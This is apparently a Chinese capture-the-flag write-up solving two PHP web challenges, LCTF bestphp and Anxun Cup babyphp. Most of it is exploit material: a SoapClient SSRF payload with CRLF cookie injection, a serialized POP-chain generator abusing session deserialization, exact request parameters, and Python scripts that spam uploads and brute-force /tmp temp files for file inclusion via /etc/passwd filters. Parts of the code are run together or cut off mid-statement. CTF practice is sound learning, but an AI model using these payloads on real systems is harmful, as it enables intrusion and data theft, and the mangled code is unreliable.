[LCTF]bestphp&2022安洵杯 babyphp

//flag.phpsession_start();echo 'only localhost can get flag!';$flag = 'LCTF{*************************}';if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){       $_SESSION['flag'] = $flag;   }

接下来我们进行代码审计：

call_user_func 函数：

         把第一个参数作为回调函数调用，第一个参数是被调用的回调函数，其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数，还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时，会把第一个值当作类名，第二个值当作方法进行回调.

通过flag.php 可知：需要构造ssrf去访问flag.php，然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

• 首先可以f 传入extract 从而造成变量覆盖。
• 这里要知道call_user_func()函数如果传入的参数是array类型的话，会将数组的成员当做类名和方法，例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组 其第一个参数reset($_SESSION)就是$_SESSION['name']，可控。  SoapClient原生类可以触发SSRF
• 因此 我们可以传入name=SoapClient，那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')), 最终call_user_func(SoapClient->welcome_to_the_lctf2018)，由于SoapClient类中没有welcome_to_the_lctf2018这个方法，就会调用魔术方法__call()从而发送请求

那SoapClient的内容怎么控制呢，poc:

 $target,    'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",    'uri' => "hello"));$attack = str_replace('^^',"\r\n",serialize($attack));$payload = urlencode($attack);echo $payload;// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

这里还涉及到 CRLF 漏洞  CRLF是”回车+换行”（\r\n）的简称

后面打算再写一个原生类的文章，上次只写了一个文件操作类， 这边就不再赘述，大家可以参考下面的文章

参考：反序列化之PHP原生类的利用 - l3m0n - 博客园

这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1" 会将flag保存在cookie为PHPSESSID=aaaaaaaa的$SESSION数组中，$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。

当存储是php_serialize处理，然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理：php-session反序列化_葫芦娃42的博客-CSDN博客

我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup：https://www.jianshu.com/p/7d63eca80686中有类似的方法，利用回调函数调用session_start函数，修改session的位置，再配合LFI进行getshell。

不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎，ini_set不支持数组传参，而session_start是数组传参，正好对应$_POST

生成payload：|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先传入 GET: f=session_start&name= 上面的payload   POST: serialize_handler=php_serialize

然后传入 GET: f=extract&name=SoapClient    POST: b=call_user_func

 更改 PHPSESSID为 aaaaaaaa  正常访问 执行 var_dump($SESSION) 得到flag

<2> 安洵杯 babyphp

考点类似于上一题：

• SoapClient 触发ssrf

• session反序列化

• 利用文件操作原生类读取flag

a = "babyhacker";    }    public function __invoke()    {        if (isset($this->a) && $this->a == md5($this->a)) {            $this->b->uwant();        }    }}class B{    public $a;    public $b;    public $k;    function __destruct()    {        $this->b = $this->k;        die($this->a);    }}class C{    public $a;    public $c;    public function __toString()    {        $cc = $this->c;        return $cc();    }    public function uwant()    {        if ($this->a == "phpinfo") {            phpinfo();        } else {            call_user_func(array(reset($_SESSION), $this->a));        }    }}if (isset($_GET['d0g3'])) {    ini_set($_GET['baby'], $_GET['d0g3']);    session_start();    $_SESSION['sess'] = $_POST['sess'];}else{    session_start();    if (isset($_POST["pop"])) {        unserialize($_POST["pop"]);    }}var_dump($_SESSION);highlight_file(__FILE__);

源码可以构造pop链子：

B:__destruct  ->  C:__toString  ->  A:__invoke  ->  C:uwant

exp如下：

a) && $this->a == md5($this->a)) {            $this->b->uwant();        }    }}class B{    public $a;    public $b;    public $k;    function __destruct()    {        $this->b = $this->k;        die($this->a);    }}class C{    public $a ;    public $c;    public function __toString()    {        $cc = $this->c;        return $cc();    }    public function uwant()    {        if ($this->a == "phpinfo") {            phpinfo();        } else {            call_user_func(array(reset($_SESSION), $this->a));        }    }}session_start();$_SESSION['sess'] = 'SoapClient';$test = new B();$test->a = new C();$test->a->c = new A();$test->a->c->a = '0e215962017';$test->a->c->b = new C();$test->a->c->b->a = '11111';echo urlencode(serialize($test)));

 最终利用到危险函数位置：call_user_func(array(reset($_SESSION), $this->a));

再看 flag.php

 $target,        'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",        'uri' => "hello"    ));$attack = str_replace('^^',"\r\n",serialize($attack));$payload = urlencode($attack);echo $payload;

$value){        if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){            die('Do not hack me!');        }    }}?>

import requestsimport stringcharset = string.digits + string.ascii_lettershost = ""port = base_url = "http://%s:%d" % (host, port)def upload_file_to_include(url, file_content):    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}    try:        response = requests.post(url, files=files)    except Exception as e:        print(e)def generate_tmp_files():    file_content = ""    #phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)    phpinfo_url = "%s/?function=extract&file=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)    length = 60000    for i in range(length):        upload_file_to_include(phpinfo_url, file_content)def main():    generate_tmp_files()if __name__ == "__main__":    main()

import requestsimport stringcharset = string.digits + string.ascii_lettershost = ""port = base_url = "http://%s:%d" % (host, port)def brute_force_tmp_files():    for i in charset:        for j in charset:            for k in charset:                for l in charset:                    for m in charset:                        for n in charset:filename = i + j + k + l + m + nurl = "%s/?function=extract&file=/tmp/php%s" % (base_url, filename)print(url)try:    response = requests.get(url)    if 'wwww' in response.content:        print("[+] Include success!")        return Trueexcept Exception as e:    print(e)    return Falsedef main():    brute_force_tmp_files()if __name__ == "__main__":    main()